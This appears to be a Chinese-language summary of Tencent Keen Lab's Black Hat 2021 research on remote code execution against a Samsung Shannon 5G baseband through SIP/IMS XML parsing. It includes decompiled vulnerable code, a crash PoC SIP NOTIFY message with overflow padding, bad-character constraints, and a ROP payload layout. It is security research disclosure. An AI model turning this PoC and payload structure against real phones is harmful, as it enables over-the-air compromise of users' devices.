“入侵5G手機”Black Hat USA 2021：通過無線基帶-針對5G智能手機的RCE遠程代碼執行攻擊白皮書

Over The Air Baseband Exploit: Gaining Remote Code Execution on 5G Smartphones
通過無線基帶-針對5G智能手機的RCE遠程代碼執行攻擊白皮書

致謝：騰訊科恩安全實驗室

Keen Security Lab of Tencent
Marco Grassi (@marcograss), Xingyu Chen (@0xKira233)

研究5G網路安全的背景：

近年來，我們看到5G網路被廣泛采用，包括消費設備、物聯網和關鍵基礎設施，
對連接到5G網路的設備數量的估計各不相同，但統計資料顯示，這些設備在市場上占有很大的份額，

為了加入5G網路，每一個設備都必須配備5G調制解調器（5G modem），負責調制信號和實施無線電協議，該組件通常也稱為基帶，

保護這些組件的安全非常重要，因為它們處理來自無線網路的不可信資料，這使得它們對遠程攻擊者特別有吸引力，

在我們之前的作業中，我們檢查了上一代網路（如2G、3G或4G）的安全調制解調器，并實作了RCE攻擊·，

本文將探討5G網路發生了哪些變化，在安全方面有哪些改進，哪些沒有，此次將演示在新一代5G智能手機上完成RCE是有可能的，

近些年來5G網路安全是完全沒有被設計到的領域，白皮書提供了兩篇文章供作為背景知識參考：
1.Huawei modem remote code execution
2.pwn2own Amat Cama work on Samsung Shannon

研究準備方法：

尋找目標：
購買了市面上的不同5G智能手機
攻擊范圍：
完成一次RCE攻擊
漏洞挖掘范圍：
不訪問任何商業5G基站的情況下觸發漏洞
5G設備的區別：
非獨立模式（NSA）：該模式結合了新的5G信號，并利用了4G網路的其他組件，
獨立模式（SA）：該模式完全實作并使用5G新無線信號與5G網路協議，

測驗手機型號：

Vivo S6 5G手機 SA模板 驍龍980 三星Shannon基帶

審計范圍與漏洞挖掘

在審計程序中發現了stack cookie緩解保護又稱為Stack Canary，這是一種經典的緩沖區溢位的保護機制.
Stack Cannary通過在堆疊中設定標識檢查輸入的資料是否破壞堆疊，只要繞過Stack Cannary保護就能完成攻擊，
在5G設備中仍然會出現“堆疊溢位”這種低級毛病，最有趣的不是堆疊溢位環節，而是分析基帶中的XML程式，XML決議器負責決議從網路到設備調制解調器的IMS訊息，
其中，在5G與4G通信中會通過IMS建立聯系,基帶就是IMS的客戶端，它會處理VoLTE與VoNR資訊，所以一定會傳輸有關SIP的資訊,IMS服務端通過SIP資訊與modem進行資料傳輸，
IMS是4G和5G網路的首選架構，在其上構建互動式呼叫，我們稍后將了解這對本研究的重要性，

基帶它是一個IMS客戶端，負責處理VOLT、VoNR訊息，因此它必須能夠處理SIP訊息，IMS服務器使用SIP訊息與調制解調器通信，
下面是message示例：

SIP是一種基于文本、類似HTTP的協議，包括頭和內容，接收器（在本例中為基帶）需要決議來自服務器的訊息，

漏洞

我們的OTA遠程代碼執行錯誤位于基帶的IMS部分，決議SIP協議訊息的XML內容時，它將呼叫函式IMSPL_XmlGetNextTagName
這個調制解調器沒有除錯符號或資訊，因此所有函式名、型別和函式簽名都可以從日志字串手動恢復，也可以通過反向工程恢復，這個函式將決議src中的XML標記，并將其名稱復制到dst，例如，把“meta”復制到緩沖區中，

<meta name=“viewport”content=“width=device width，initial scale=1”>

下面這個函式在尋找結束標志跳過一些特殊字符如：’/’’>’?’

函式沒有做任何安全檢測，可以完成任意call與緩沖區溢位，
通過IMSPL_XmlGetNextTagName我們尋找到有許多可以進行call的地方,由于緩沖區是從OTA訊息中提取的，因此它們中的大多數都易受攻擊，
我們選擇堆疊溢位是可靠的，沒有stack canary 保護，因此我們可以簡單地完成緩沖區溢位，控制存盤在堆疊上的回傳地址，并執行我們的shellcode，
這是溢位的函式IMSPL_XmlParser_ContactLstDecode

int	IMSPL_XmlParser_ContactLstDecode(int  *a1,  int  *a2)  {
	unsigned int8 *v4; // r0
	int v5;	// r1
	log_info_s *v7;	// [sp+0h] [bp-98h] BYREF
	int v8;	// [sp+4h] [bp-94h]
	unsigned int8 *v9; // [sp+8h] [bp-90h] BYREF
	int  v10;	//  [sp+Ch]  [bp-8Ch]  BYREF
	char v11[136];	// [sp+10h] [bp-88h] BYREF
	
	bzero(v11, 100);
	v10 = 0;
	v4 = (unsigned int8 *)*a1;
	v8 = 10597;
	v9 = v4;
	//  ——————%s———————-
	v7  =  &log_struct_4380937c;
	log_0x418ffa6c(&v7,  ”IMSPL_XmlParser_ContactLstDecode”,  -20071784);
if  (IMSPL_XmlGetNextTagName((char  *)&v9,  v11)  !=  1)  {
	LABEL_8:
	*a1 = (int)v9;
	v8 = 10597;
	//  Function  END
	v7  =  &log_struct_43809448;
	log_0x418ffa6c(&v7,  -20071784);
	return 1;
		}
//  omitted  code	}

當我們觀察到char v11[136]; v11變數在堆疊上有100byte大小的緩沖區可以溢位
我們同樣找到了相似的函式IMSPL_XmlParser_RegLstDecode
IMSPL_XmlParser_ContElemChildNodeDecode 等，
根據以上函式的名字我們可以推測，我們可以完成一次ROP鏈攻擊
MSPL_XmlParser_RegInfoDecode -> IMSPL_XmlParser_RegInfoElemDecode ->
IMSPL_XmlParser_RegLstDecode->
IMSPL_XmlParser_RegistratonElemDecode->
IMSPL_XmlParser_ContactLstDecode
如果payload通過SIP協議中的NOTIFY資訊發送，可以造成基帶崩潰，由于函式find_tag_end里面對一些字符的黑名單，
“\x00\x09\x0a\x0d\x20\x2f\x3e\x3f”，所以我們在構建ROP鏈
不能利用有用的gadgets
下面是使基帶崩潰的POC不能完成攻擊

NOTIFY  sip:404456666666666@192.168.101.2:5060  SIP/2.0
	Via:  SIP/2.0/TCP  172.18.0.12;branch=z9hG4bK5829.b8e4601b3f6e281818a8a878daee5112.0
	Via:  SIP/2.0/UDP
172.18.0.14:6060;branch=z9hG4bK5829.c1534326000000000000000000000000.0
	To:  <sip:666666>;tag=31f5ed9f
	From:  <sip:@666666>;tag=facfaba04ffdc638bb119e5faba08da6-3a20000
	CSeq:  4  NOTIFY
	Call-ID:  85bcaa29686a87fe@192.168.101.2
	Content-Length:  1719
	User-Agent:  Kamailio  S-CSCF
	Contact:  <sip:scscf.ims.mnc045.mcc404.3gppnetwork.org:6060>
	Event:  reg
	Max-Forwards:  69
	Subscription-State:  active;expires=600000
	Content-Type:  application/reginfo+xml
	<?xml  version=”1.0”?>
	<reginfo  xmlns=”urn:ietf:params:xml:ns:reginfo”  version=”2”  state=”full”>
	<registration  aor=”tel:666666”  id=”0x7f970dea8570”  state=”active”>
	<contact  id=”0x7f970dea7710”  state=”active”  event=”registered”  expires=”599996” q=”0.000”>	<uri>sip:404456666666666@192.168.101.2:5060;alias=192.168.101.2~49214~2</uri>
	<unknown-param
name=”+sip.instance”>”&lt;urn:gsma:imei:86044804-970539-0&gt;”</unknown-param>
	<unknown-param  name=”+g.3gpp.smsip”></unknown-param>
	<unknown-param  name=”video”></unknown-param>	<unknown-param  name=”+g.3gpp.icsi-ref”>”urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel ”</unknown-param>
	</contact>
	</registration>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  ?   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA         AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ?  payload</AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ?       AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ?          AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ?
</reginfo>

在ROP鏈執行以后，基帶仍然是完好無損的，我們可以更換一個更好的位置進行溢位，例如標簽

<?xml  version=”1.0”?>
	<reginfo  xmlns=”urn:ietf:params:xml:ns:reginfo”  version=”2”  state=”full”>
	<registration  aor=”tel:666666”  id=”0x7fe072423570”  state=”active”>
	<contact  id=”0x7fe072422710”  state=”active”  event=”registered”  expires=”599996” q=”0.000”>
AAAAAAAAAAAAAAAAAAAAAA1ABC2ABC3ABC4ABC5ABC6ABC7ABC8ABCRop-chain-starts-here>test</haha
	</contact>
	</registration>
	</reginfo>

Payload的結構如下：

在堆疊上Payload是從100byte的’A’開始，緊接著堆疊上保存了R4-R11，真正的ROP鏈是為了從堆疊上復制shellcode然后執行shellcode